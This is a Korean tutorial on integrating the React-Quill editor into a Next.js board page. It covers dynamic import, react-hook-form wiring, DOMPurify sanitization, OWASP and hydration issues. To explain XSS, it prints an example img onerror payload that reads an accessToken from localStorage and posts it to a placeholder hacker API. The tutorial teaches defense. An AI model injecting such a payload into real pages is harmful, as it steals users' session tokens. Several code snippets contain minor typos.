게시물을 등록하는 게시물 등록 페이지를 만들어봅시다.
등록 페이지에는 기본적으로 글을 작성한 작성자
와 작성할 내용
을 담는 부분이 필요할 것입니다.
input과 textarea 태그를 이용해서 다음과 같이 입력란을 만들어 줄 수 있습니다.
그런데, textarea 태그에서 줄바꿈으로 내용을 입력
하고 글을 등록했을 때
가져온 데이터를 보면 아래와 같은 결과가 나타납니다.
"어? 나는 줄 바꿈을 했는데? 왜 한 줄로 붙어 나오지?"
textarea 태그의 특성상, 내용을 입력할 때 줄 바꿈을 주었더라도
내용 데이터를 출력할 때에 줄 바꿈에 대한 결과를 따로 처리해주지 않으면
한 줄로 내용을 출력하게 됩니다.
그 외에도 내용 중에서 더 중요한 부분을 표시하고 싶다거나
폰트에 색깔을 추가하고 싶다거나 하는 등의 스타일 지정이 필요할 수도 있습니다.
이러한 textarea의 단점들을 보완해서 좀 더 스타일리쉬하게 내용을 작성할 수 있도록 도와주는
React-Quill
웹 에디터 라이브러리를 적용해보도록 하겠습니다.
📖 React-Quill Docs
https://www.npmjs.com/package/react-quill
💡 React-Quill 이외에도 React Draft Wysiwyg, TOAST UI Editor 등의
웹 에디터 라이브러리가 널리 쓰이고 있습니다.
우선 react-quill을 설치합니다.
npm 사용자 : npm install react-quill
yarn 사용자 : yarn add react-quill
설치가 완료되었다면, 웹 에디터를 추가하고 싶은 페이지의 최상단에서 ReactQuill을 호출합니다.
ReactQuill 에서 사용될 스타일 CSS 파일까지 함께 호출해서 스타일도 함께 적용해줍니다.
import ReactQuill from 'react-quill';
import 'react-quill/dist/quill.snow,css';
라이브러리를 호출했다면,
웹 에디터를 사용하고 싶은 부분에 <ReactQuill />
처럼 입력해서
웹 에디터를 사용할 수 있게 됩니다.
그리고 docs를 참고해서 ReactQuill에 onChange 함수를 넣어줍니다.
💡 ReactQuil의 onChange는 개발자가 만들어 놓은 커스텀 요소입니다.
이름만 같을 뿐jsx의 onChange요소와는 전혀 다른
개념입니다.
여기까지 적용됐다면 이제 프로젝트에 웹 에디터를 사용할 수 있게 되었습니다.
프로젝트 페이지에서 한 번 새로고침을 해봅시다. 잘 작동하시나요?
혹시 이런 에러 페이지가 뜨지 않나요?
Next.js 프로젝트를 사용하고 있다면 뜰 수 밖에 없는 정상적인 에러입니다.
Next.js 는 기본적으로 서버사이드 렌더링
을 지원하는데,
서버에서 페이지를 미리 렌더링 하는 단계에서는
브라우저 상이 아니기 때문에 window나 document가 존재하지 않습니다.
window 또는 document object 를 선언하기 전
이기 때문에
document가 선언되지 않았다는 에러가 발생하는 것입니다.
💡 서버에서 페이지를 미리 렌더링하는 단계를 pre-rendering이라고 합니다.
이 문제를 해결하기 위해서는 document 가 선언된 시점 이후에 React-Quill을 import 해야 합니다.
Next.js 의 dynamic import
방식을 사용하면 이러한 동작을 수행할 수 있습니다.
기존의 import 코드를 아래의 코드로 대체해봅시다.
import dynamic from 'next/dynamic';
const ReactQuill = dynamic( () => import('react-quill'), {
ssr : false
})
Next.js에서 제공하는 dynamic은, 해당 모듈을 호출하는 시점을
document 에 대한 정보가 선언된 후의 시점으로 옮겨서 호출을 할 수 있게 도와줍니다.
즉, 빌드되는 시점에서 호출하지 않고 런타임 시점에서 모듈을 호출
해서
이미 documnet 가 선언되어 있는 시점의 환경을 제공해줄 수 있습니다.
그럼 웹 에디터가 잘 적용되었는지 확인해볼까요?
import { useForm } from "react-hook-form";
// import ReactQuill from "react-quill";
// 다이나믹 임포트로 변경하기
import "react-quill/dist/quill.snow.css";
import dynamic from "next/dynamic";
const ReactQuill = dynamic(() => import("react-quill"), { ssr: false });
export default function WebEditorPage() {
const { register } = useForm({
mode: "onChange",
});
const handleChange = (value: string) => {
console.log(value);
};
// if (process.browser) {
// console.log("나는 브라우저다 !!");
// } else {
// console.log("나는 프론트엔드 서버다 !!");
// }
return (
<div>
작성자: <input type="text" {...register("writer")} />
<br />
비밀번호: <input type="password" {...register("password")} />
<br />
제목: <input type="text" {...register("title")} />
<br />
내용: <ReactQuill onChange={handleChange} />
<br />
<button>등록하기</button>
</div>
);
}
하지만 onChange 요소가 들어간 ReactQuill이라는 컴포넌트에는 register가 적용되지 않습니다.
어떻게 하면 useForm이 contents에 입력된 데이터까지 인식하도록 할 수 있을까요?
setValue 요소를 이용해서
react-hook-form의 contents라는 공간에 강제로 값을 집어 넣어주면 됩니다.
const { register, setValue} = useForm({
mode: "onChange",
});
const handleChange = (value: string) => {
console.log(value);
// register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
setValue("contents", value);
};
조건부 렌더링을 이용해서
React-Quill에 값이 입력되었다가 지워졌을 때 남는 찌꺼기 태그도 없애줍니다.
const { register, setValue } = useForm({
mode: "onChange",
});
const handleChange = (value: string) => {
console.log(value);
// register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
setValue("contents", value === "<p><br></p>" ? "" : value);
};
여기까지 진행하면 웹 에디터에 입력된 값이 콘솔에 정상적으로 찍히는 모습을 확인할 수 있습니다.
하지만 값만 변경되었을 뿐, contents의 입력 여부는 검증할 수 없습니다.
그렇기 때문에 React-Quill에서 제공하는 trigger 요소를 이용하여
onChange여부를 강제로 변경해주어야 합니다.
const { register, setValue, trigger } = useForm({
mode: "onChange",
});
const handleChange = (value: string) => {
console.log(value);
// register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
setValue("contents", value === "<p><br></p>" ? "" : value);
// onChange가 됐는지 안됐는지 react-hook-form에 알려주는 기능!!
trigger("contents");
};
여기까지 완료하면 React-Quill에 입력된 값이 react-hook-form에 동일하게 들어가고,
입력 여부도 검증할 수 있게 됩니다.
이제 웹 에디터와 react-hook-form를 이용해 입력한 내용을 게시글로 등록해봅시다.
먼저 만들어 놓은 입력 태그들을 form으로 감싸고, form에 onSubmit 요소를 더해줍니다.
const WebEditorPage() {
const router = useRouter();
const { register, setValue, trigger } = useForm<IFormValues>({
mode: "onChange",
});
const handleChange = (value: string) => {
console.log(value);
// register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
setValue("contents", value === "<p><br></p>" ? "" : value);
// onChange가 됐는지 안됐는지 react-hook-form에 알려주는 기능!!
trigger("contents");
};
return (
<form onSubmit={}>
작성자: <input type="text" {...register("writer")} />
<br />
비밀번호: <input type="password" {...register("password")} />
<br />
제목: <input type="text" {...register("title")} />
<br />
내용: <ReactQuill onChange={handleChange} />
<br />
<button>등록하기</button>
</form>
);
}
export default WebEditorPage
react-hook-form의 handleSubmit을 이용해서
submit 버튼 클릭 시 실행할 함수를 onSubmit에 넣습니다.
const WebEditorPage() {
const router = useRouter();
const { register, handleSubmit, setValue, trigger } = useForm<IFormValues>({
mode: "onChange",
});
const handleChange = (value: string) => {
console.log(value);
// register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
setValue("contents", value === "<p><br></p>" ? "" : value);
// onChange가 됐는지 안됐는지 react-hook-form에 알려주는 기능!!
trigger("contents");
};
const onClickSubmit = (data: IFormValues) => {
// form submit시 실행할 함수
};
return (
<form onSubmit={handleSubmit(onClickSubmit)}>
작성자: <input type="text" {...register("writer")} />
<br />
비밀번호: <input type="password" {...register("password")} />
<br />
제목: <input type="text" {...register("title")} />
<br />
내용: <ReactQuill onChange={handleChange} />
<br />
<button>등록하기</button>
</form>
);
}
export default WebEditorPage
해당 함수 안에 createBoard 요청을 넣습니다.
그리고 요청 성공시 해당 게시글의 상세 페이지로 이동하도록 다이나믹 라우팅을 해줍니다.
export default function WebEditorPage() {
const router = useRouter();
const { register, handleSubmit, setValue, trigger } = useForm<IFormValues>({
mode: "onChange",
});
const handleChange = (value: string) => {
console.log(value);
// register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
setValue("contents", value === "<p><br></p>" ? "" : value);
// onChange가 됐는지 안됐는지 react-hook-form에 알려주는 기능!!
trigger("contents");
};
const onClickSubmit = async (data: IFormValues) => {
if (!(data.writer && data.password && data.title && data.contents)) {
Modal.warning({ content: "필수 입력 사항입니다." });
return;
}
try {
const result = await createBoard({
variables: {
createBoardInput: {
writer: data.writer,
password: data.password,
title: data.title,
contents: data.contents,
},
},
});
// 완료된 페이지로 이동!!
router.push(`/27-04-web-editor-detail/${result.data?.createBoard._id}`);
} catch (error) {
if (error instanceof Error) Modal.error({ title: error.message });
}
};
return (
<form onSubmit={handleSubmit(onClickSubmit)}>
작성자: <input type="text" {...register("writer")} />
<br />
비밀번호: <input type="password" {...register("password")} />
<br />
제목: <input type="text" {...register("title")} />
<br />
내용: <ReactQuill onChange={handleChange} />
<br />
<button>등록하기</button>
</form>
);
}
다이나믹 라우팅으로 연결된 경로로 이동해서
상세 페이지를 다음과 같이 만들어줍니다.
import { useQuery, gql } from "@apollo/client";
import { useRouter } from "next/router";
import {
IQuery,
IQueryFetchBoardArgs,
} from "../../../src/commons/types/generated/types";
import Dompurify from "dompurify";
const FETCH_BOARD = gql`
query fetchBoard($boardId: ID!) {
fetchBoard(boardId: $boardId) {
_id
writer
title
contents
}
}
`;
const WebEditorDetail() {
const router = useRouter();
const { data } = useQuery<Pick<IQuery, "fetchBoard">, IQueryFetchBoardArgs>(
FETCH_BOARD,
{
variables: { boardId: String(router.query.id) },
}
);
return (
<div>
<div>작성자: {data?.fetchBoard.writer}</div>
<div>제목: {data?.fetchBoard.title}</div>
<div>내용: {data?.fetchBoard.contents}</div>
</div>
);
}
export default WebEditorDetail
자, 이제 입력된 웹 에디터 내용을 화면에 출력해보려고 합니다.
작성 페이지에서 게시글을 입력하고 게시글 등록 요청을 보내봅시다.
그러면 상세 페이지에서 다음과 같이 HTML 태그가 포함된 내용이 들어오는 것을 볼 수 있습니다.
웹 에디터로 작성한 내용은 HTML 태그가 포함된 문자열로 입력이 되기 때문에
HTML 태그들을 노출하지 않으면서 HTML 기능만 적용된 형태
로 화면에 출력해야 합니다.
그런데 우리가 사용하고 있는 React 프로젝트에서는
기본적으로 HTML 보안 이슈로 인해 HTML 태그를 직접 삽입 할 수 없게 설정되어 있습니다.
그럼에도 불구하고 HTML 태그를 사용하고자 한다면
아래와 같은 코드로 HTML 태그를 삽입 할 수 있습니다.
<div dangerouslySetInnerHTML={{ __html : HTML 태그 추가 }} />
dangerouslySetInnerHTML 는 div 또는 span 태그
에 제공되는 속성인데, 아래와 같은 의미를 담고 있습니다.
🚨 "당신은 프로젝트에 HTML 태그를 추가하려는 행위가 위험하다는 걸 알고 있다.
그럼에도 HTML 태그를 추가하고 싶다면 추가하려는 HTML 태그를 작성해라."
위험을 감수하고 HTML 태그를 추가할 때 사용하는 속성이며, __html 속성 값에 추가하려는 데이터를 입력해주면 됩니다.
상세 페이지에 dangerouslySetInnerHTML 속성을 적용하면 다음과 같은 형태가 됩니다.
const WebEditorDetail = () => {
const router = useRouter();
const { data } = useQuery<Pick<IQuery, "fetchBoard">, IQueryFetchBoardArgs>(
FETCH_BOARD,
{
variables: { boardId: String(router.query.id) },
}
);
return (
<div>
<div>작성자: {data?.fetchBoard.writer}</div>
<div>제목: {data?.fetchBoard.title}</div>
<div dangerouslySetInnerHTML={{ __html: String(data?.fetchBoard.contents)}} />
</div>
);
}
export default WebEditorDetail
💡
div 및 span 태그
로 dangerouslySetInnerHTML 를 사용한다면
반드시 빈 태그 형식으로 작성해주셔야 합니다.
자, 이제 웹 에디터로 작성된 내용들이 제대로 웹 페이지에 출력 되는지 확인해보겠습니다.
아래와 같은 구조로 웹 에디터로 입력된 HTML 데이터를
dangerouslySetInnerHTML 속성을 이용해 div 태그에 입력해주면
HTML 태그들이 적용된 결과가 웹페이지에 출력 되는 것을 확인할 수 있습니다.
지금까지 배운 것 처럼 dangerouslySetInnerHTML을 이용하면
웹에디터에 입력한 html 태그가 적용된 형태로 내용을 받아올 수 있습니다.
하지만 이러한 것은 공격 받을 여지가 매우 큰 위험한 방식입니다.
그 중 대표적인 공격 사례를 한 가지 소개해드리겠습니다.
<img src="http://images.png" />
위와 같은 img태그에 onerror라는 속성을 더해,
해당 태그를 dangerouslySetInnerHTML 속성을 이용해 불러왔을 때
사용자에게서 중요한 정보를 빼내는 스크립트가 실행되도록 할 수 있습니다.
💡 onerror란 해당 img태그를 정상적으로 불러오지 못했을 때 실행되는 요소입니다. 일반적으로는 대체 이미지 경로를 입력합니다.
<img src="#" onerror="
const aaa = localStorage.getItem('accessToken');
axios.post(해커API주소, {accessToken = aaa});
" />
위와 같은 예시 코드가 실행되면 localStorage 내의 accessToken을 훔칠 수 있게 됩니다.
예시는 간단한 코드이지만, onerror 안에는 여러 줄의 javascript도 넣을 수 있기 때문에 dangerouslySetInnerHTML을 이용할 경우 사용자의 민감 정보가 손쉽게 탈취당할 위험에 노출되어 있다고 볼 수 있습니다.
예시로 들었던 스크립트를 활용한 토큰 탈취처럼, 다른 사이트의 취약점을 노려서 javascript 와 HTML로 악의적 코드를 웹 브라우저에 심고 사용자 접속 시 그 악성 코드가 실행되도록 하는 것을 크로스 사이트 스크립트 (Cross Site Script / XSS)
라고 합니다.
그렇다면 이러한 공격은 어떻게 방어할 수 있을까요?
지금과 같은 공격 코드가 들어있으면 자동으로 차단해주는 라이브러리를 이용하면 됩니다.
우리는 그 중 DOMPurify를 이용해 보겠습니다.
npm install dompurify
npm install -D @types/dompurify
or
yarn add dompurify
yarn add -D @types/dompurify
코드에 DOMPutify를 적용해서 안정성을 확보해봅시다.
<div
dangerouslySetInnerHTML={{
__html: Dompurify.sanitize(String(data?.fetchBoard.contents))
}}
/>
그런데 이렇게 코드를 작성하면 서버 사이드 렌더링 에러가 발생합니다.
서버 사이드 렌더링 에러를 해결하기 위해서는 다음과 같은 조건부 렌더링을 추가해주면 됩니다.
{process.browser &&
<div
dangerouslySetInnerHTML={{
__html: Dompurify.sanitize(String(data?.fetchBoard.contents))
}}
/>
}
지금까지 알아본 크로스 사이트 스크립트처럼 웹에는 여러 종류의 공격들이 있습니다. 공격이 점점 고도화되는 만큼 사람들도 보안에 신경을 많이 쓰게 되었습니다.
OWASP란 Open Web Application Security Project의 약자로 오픈소스 웹 애플리케이션 보안 프로젝트
입니다.
주로, 웹 관련 정보노출이나 악성파일 및 스크립트, 보안 취약점을 연구하며 10대 취약점을 발표하며, 3-4년에 한 번씩 정기적으로 업데이트 됩니다.
A01 : Broken Access Control (접근 권한 취약점)
A02 : Cryptographic Failures (암호화 오류)
A03 : Injection (인젝션)
A04 : Insecure Design (안전하지 않은 설계)
A05 : Security Misconfiguration (보안설정오류)
A06 : Vulnerable and Outdated Components (취약하고 오래된 요소)
A07 : Identification and Authentication Failures (식별 및 인증 오류)
A08 : Software and Data Integrity Failures(소프트웨어 및 데이터 무결성 오류)
A09 : Security Logging and Monitoring Failures (보안 로깅 및 모니터링 실패)
A10 : Server-Side Request Forgery (서버 측 요청 위조)
매년OWASP 상위권을 유지하는 것 중 하나가 Injection
입니다.
SQL쿼리문을 작성할때 조건을 통해 데이터를 주고 받는데, 이 조건을 직접 조작하여 공격하는 기법입니다. 현재는 이것을 ORM을 사용해 막고 있습니다.
그 외 여러 공격들이 있으며 OWASP 발표에서 내용을 더 상세히 확인 할 수 있습니다.
웹 에디터 detail 페이지의 실습 코드를 다음과 같이 수정해봅시다.
return (
<div>
<div style={{color: "red"}}>작성자: {data?.fetchBoard.writer}</div>
{process.browser && (
<div style={{color: "green"}}>제목: {data?.fetchBoard.title}</div>
)}
<div style={{color: "blue"}}>내용: 반갑습니다!<div>
</div>
)
yarn dev
해서 렌더링된 모습을 보면 제목 부분이 녹색이 아니라 파란색인 것을 확인할 수 있습니다.
Hydration Issue 때문에 이러한 현상이 일어납니다.
구체적인 원인을 한 번 살펴봅시다.
Next.js는 위와 같은 과정을 거쳐 페이지를 그립니다.
이 중 diffing 단계에서 태그를 기준으로 비교하기 때문에, 프론트엔드 서버에서 pre-rendering된 결과물
과 브라우저에서 그려진 결과물
의 태그 구조가 다를 경우 CSS가 코드와 다르게 적용됩니다.
그렇기 때문에 브라우저에서만 렌더링되는 태그가 있을 경우, 삼항연산자를 이용해서 프론트엔드 서버에서도 빈 태그가 들어가 있도록 만들어줘야 합니다.
예시 태그를 다음과 같이 수정하면 오류 없이 화면에 렌링되는 것을 확인할 수 있습니다.
return (
<div>
<div style={{color: "red"}}>작성자: {data?.fetchBoard.writer}</div>
{process.browser ? (
<div style={{color: "green"}}>제목: {data?.fetchBoard.title}</div>
) : (
<div style={{color: "green"}} />
)}
<div style={{color: "blue"}}>내용: 반갑습니다!<div>
</div>
)